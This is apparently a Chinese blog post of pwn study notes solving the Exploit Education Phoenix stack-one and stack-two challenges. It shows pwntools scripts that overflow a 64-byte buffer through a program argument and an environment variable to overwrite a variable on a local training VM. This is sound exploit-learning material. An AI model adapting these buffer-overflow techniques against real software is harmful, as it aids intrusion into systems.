Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

这两道非常简单,而且只有数据读入方式的区别。跟zero一样,只是对覆盖的数据有要求。

stack-one

将程序第一个参数strcpy到字符串。

https://s2.loli.net/2023/02/15/P3IYOneKUiS6vNV.png上参数。

pwntools的sh.run可以接收字节数组作为参数,里面可包含启动参数。(看了下文档,对于run方法:Backward compatibility. Use system()

1
2
3
4
5
6
7
8
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 0x40 + p32(0x496c5962)

sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
print(sh.recvlines(2))

stack-two

这次是写到环境变量里。

![https://s2.loli.net/![https://s2.loli.net/2023/02/15/NhRfz7Ciw8UavO4.png](../assets/[pwn笔记1]stack-one和stack-two (Phoenix) 6c166cabf3d247c5a0c5f5952da34633/NhRfz7Ciw8UavO4.png)会出问题,我们要求写入的是32位数据,不应该用p64,用了就会自动补0,然后报错。

1
2
3
4
5
6
7
8
9
10
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
print(sh.recvlines(2))

评论